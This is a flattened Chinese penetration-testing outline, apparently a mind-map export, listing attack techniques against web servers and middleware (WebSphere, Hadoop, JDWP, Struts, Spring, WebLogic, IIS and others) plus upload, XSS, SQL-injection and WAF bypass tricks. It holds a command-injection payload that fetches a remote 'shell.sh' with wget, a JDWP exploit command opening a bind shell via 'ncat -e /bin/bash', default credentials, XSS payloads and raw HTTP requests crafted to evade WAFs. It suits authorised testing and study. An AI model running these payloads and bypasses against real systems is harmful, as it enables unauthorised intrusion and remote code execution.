https://localhost:9043/ibm/console/logon.jsp
Websphere8.5
http://localhost:9043/ibm/console
Websphere6-7
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password
9043 / WebSphere
未授权
https://shockerli.net/post/memcached-udp-reflection-attack-bug/
UDP反射
11211 / memcache
https://www.anquanke.com/post/id/83763
注入
https://www.aqniu.com/threat-alert/6978.html
phpMoAdmin RCE
https://www.secpulse.com/archives/20204.html
SAP命令执行
50000 / SAP
https://www.freebuf.com/vuls/173638.html
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
http://www.91ri.org/15441.html
其他
是 Java 远程调试的一个服务,如果可以和该端口通行就可以执行任意代码
通过 telnet 或 netcat 连接,输入 JDWP-Handshake 如果响应也是 JDWP-Handshake 则存在漏洞
描述
利用工具:https://github.com/IOActive/jdwp-shellifier
python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
JDWP 服务
常见服务弱点
S2-003 --- Struts 2.0.0 - Struts 2.0.11.2
S2-005 --- Struts 2.0.0 - Struts 2.1.8.1
S2-007 --- Struts 2.0.0 - Struts 2.2.3
S2-008 --- Struts 2.1.0 - Struts 2.3.1
S2-009 --- Struts 2.0.0 - Struts 2.3.1.1
S2-012 --- Struts Showcase App 2.0.0 - Struts Showcase App 2.3.13
S2-013 --- Struts 2.0.0 - Struts 2.3.14
S2-015 --- Struts 2.0.0 - Struts 2.3.14.2
S2-016 --- Struts 2.0.0 - Struts 2.3.15
S2-019 --- Struts 2.0.0 - Struts 2.3.15.1
S2-029 --- Struts 2.0.0 - Struts 2.3.24.1 (except 2.3.20.3)
S2-032 --- Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
S2-033 --- Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
S2-037 --- Struts 2.3.20 - Struts Struts 2.3.28.1
S2-048 --- Struts 2.3.x with Struts 1 plugin and Struts 1 action
struts2
https://pivotal.io/security
https://www.freebuf.com/vuls/172984.html
Spring-data-commons 代码执行
https://paper.seebug.org/665/
Spring MVC 目录穿越漏洞
http://lonelyrain.me/2018/09/18/spring-view-injection/
Spring 视图注入漏洞
https://www.anquanke.com/post/id/104140
spring-messaging远程代码执行
https://www.anquanke.com/post/id/86244
Spring WebFlow 远程代码执行
https://www.freebuf.com/vuls/115849.html
spring-tx.jar 反序列化
https://chybeta.github.io/2018/05/12/RCE-with-spring-security-oauth2-%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1260%E3%80%91/
spring-security-oauth2 RCE
https://b1ue.cn/archives/111.html
Spring Boot Actuator jolokia RCE/XXE
https://b1ue.cn/archives/126.html
Spring Cloud Config Server 任意文件读取漏洞(CVE-2019-3799)
/swagger-ui.html
/v1.x/swagger-ui.html
/swagger/ui/
/api/swagger-ui.html
Springboot swagger 控制台未授权
/conditions
/beans
/configprops
/env/{toMatch}
/info
/mappings
/health
/auditevents
/loggers/{name}
/metrics/{requiredMetricName}
/heapdump
/threaddump
/scheduledtasks
/httptrace
接口
https://www.cnblogs.com/ckp-henu/p/spring-boot-actuator.html
接口文档
Spring Boot Actuator 未授权访问
Spring Httpinvoker 反序列化
spring
多个代码执行
5.x
3.x
/App/Runtime/模块名/Log[s]/年_月_日.log
/Application/Runtime/Log[s]/年_月_日.log
/Runtime/Log[s]/年_月_日.log
日志泄漏
缓存getshell
thinkphp
yii
http://www.vuln.cn/6315
Laravel
.Net
WEB
0.8.* 版本以下有解析漏洞 e.g:1.jpg/.php 1.jpg%00x.php
https://github.com/yandex/gixy 安全配置检查工具
nginx
有解析漏洞 e.g:1.php.xx
HTTP 2.0 拒绝服务 https://www.freebuf.com/vuls/139042.html
CVE-2017-15715 解析漏洞 https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
apache
CVE-2017-7269远程代码执行 https://www.freebuf.com/vuls/130531.html
PUT WRITE
6.*
Fast-CGI漏洞 e.g:/xx.jpg/xx.php
7.*
CVE-2015-1635 HTTP.SYS 溢出 https://www.freebuf.com/vuls/64195.html
IIS加载CGI环境块伪造 https://www.freebuf.com/vuls/31444.html
短文件名 https://www.freebuf.com/articles/web/172561.html
IIS
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2893
CVE-2018-3252
CVE-2018-3191
CVE-2018-3245
https://blog.csdn.net/qq_23936389/article/details/81256015
CVE-2018-2894
weblogic
CVE-2017-12615 远程代码执行
/examples/servlets/servlet/SessionExample
session 注册
https://www.freebuf.com/vuls/115862.html
本地提权
tomcat
https://www.seebug.org/appdir/jboss
https://www.freebuf.com/vuls/186948.html
jboss
websphere
服务器
通用漏洞
弱点检测
x.php.asd
从后向前识别,直到可识别的扩展名
Apache1.X / 2.X
/1.asp/1.jpg
目录为 *.asp/*.asa等可被IIS动态执行的扩展名
IIS 6
上传1.jpg 访问 1.jpg/.php
IIS7&7.5 / <=Nginx0.8.3
上传shell.php 访问shell.jpg%20.php
Nginx 0.8.41 – 1.5.6
容器特性
在shell.php后加上%80到%99,系统不识别这个范围内的字符
Windows会去除尾部的. shell.php......
操作系统特性
不会通过应用
拦截
会经过应用,但会在其中的一个环节被替换为一些安全的字符
过滤
处理方式
文件扩展名
文件contenttype
文件内容
图片是否完整
检查部分
asp、php、jsp等
jspx
phtml
asa等
可通过fuzz上传不在黑名单的冷门扩展名
上传.htaccess
上传.user.ini
黑名单
jpg、png、doc等
可以通过常见的%00 或web容器/系统特性绕过
白名单
eavl(**) 等
避开常用代码,使用混淆、冷门函数、反射机制等方法绕过
语法规则
检查规则
处理方法
双上传
在boundary 加一些字符
在content-disposition中添加字符
超长文件名
修改content-length
文件名中夹杂小语种或非英语字符
一些其他绕过方法
https://xz.aliyun.com/t/337
Upload
scrscriptipt
大小写绕过
DOM XSS无视后端过滤
替换为HTML实体编码
AJAX中的响应为JSON可以考虑使用Unicode编码
尝试使用POST或其他类型请求
字符串拼接
字符串反转
利用WEB容器特性
参数污染
常用操作
宽字节逃逸
String.fromCharCode
jsfuck
在标签属性中可以不使用
' 或 " 被转义
%0D
%0A
+
标签中可用 /
空格被过滤
多段提交 part1:<script>/* part2:*/a=1</script>
<svg/onload=alert(1)>
https://wooyun.js.org/drops/%E7%9F%AD%E5%9F%9F%E5%90%8D%E8%BF%9B%E5%8C%96%E5%8F%B2.html
短域名
短连接 //t.cn/xxxx
限制长度
在可执行事件标签中或 script内无需绕过
Unicode \\u003c\\u003e
<>被过滤
a=1&a='or '1'='1
一些web容器 提交两个同样的参数会把其拼接起来或只取一个,可以考虑使用参数污染方式绕过
如s%u0065lect
iis支持unicode,可以把payloadUnicode编码再提交
使用multipart 方式提交
sqlserver可以使用分号;结束命令
mysql 可以使用内联注释 /*!50000select*/
宽字节绕过
二次注入
转义'
/**/
--
#
-- +
常用注释
特殊字符 如%00 %0d %0a
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
使用空白字符
union(select)
select all{x users}from{x ddd}
超长注入命令
插入emoji / 小语种文字等字符
使用sqlmap tamper
一些常用注入关键字
使用冷门函数语法
科学计数语法 如 8e0union
绕过云WAF,找到真实IP注入
https://www.anquanke.com/post/id/169738
https://www.freebuf.com/news/193659.html
https://www.bugbank.cn/live/view.html?id=111608
Chunked Transfer分块传输
基于协议的绕过方法
一些绕过方法
https://www.secpulse.com/archives/53328.html
添加一个换行符在第一行```GET /login HTTP/1.1Host: favoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
用小写的方法(Apache)```get /login HTTP/1.1Host: favoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
在方法之前写加一个TAB``` GET /login.php HTTP/1.1Host: favoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
```GET /login.php?pam_param=test1&pam[param=test2&pam%5bparam=test3```
使用绝对URL```GET http://localhost/login.php HTTP/1.1Host: favoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
双HOST头```GET /login.php HTTP/1.1Host: favoritewaf.comHost: localhostUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
小写HOST```GET /login.php HTTP/1.1host: favoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
去掉HOST的空格```GET /login.php HTTP/1.1Host:favoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
在HOST中加一个TAB```GET /login.php HTTP/1.1Host:\tfavoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)```
Content-Type加一些字符```POST /login.php HTTP/1.1Host: favoritewaf.comUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)Content-Type: application/another-text/+++x-www-form-urlencodedhello=world```
multipart插入脏数据```Content-Type: multipart/form-data; boundary=x--xContent-Disposition:test1;--xtest2;--x--test3;name="hello"world```
Transfer chunked攻击```Content-Type: application/x-www-form-urlencodedContent-Length: 0Transfer-Encoding: chunked3hel3lo=3wor2ld0```
https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
比较冷门的bypass方法
Bypass
网络渗透测试
0 条评论
回复 删除
下一页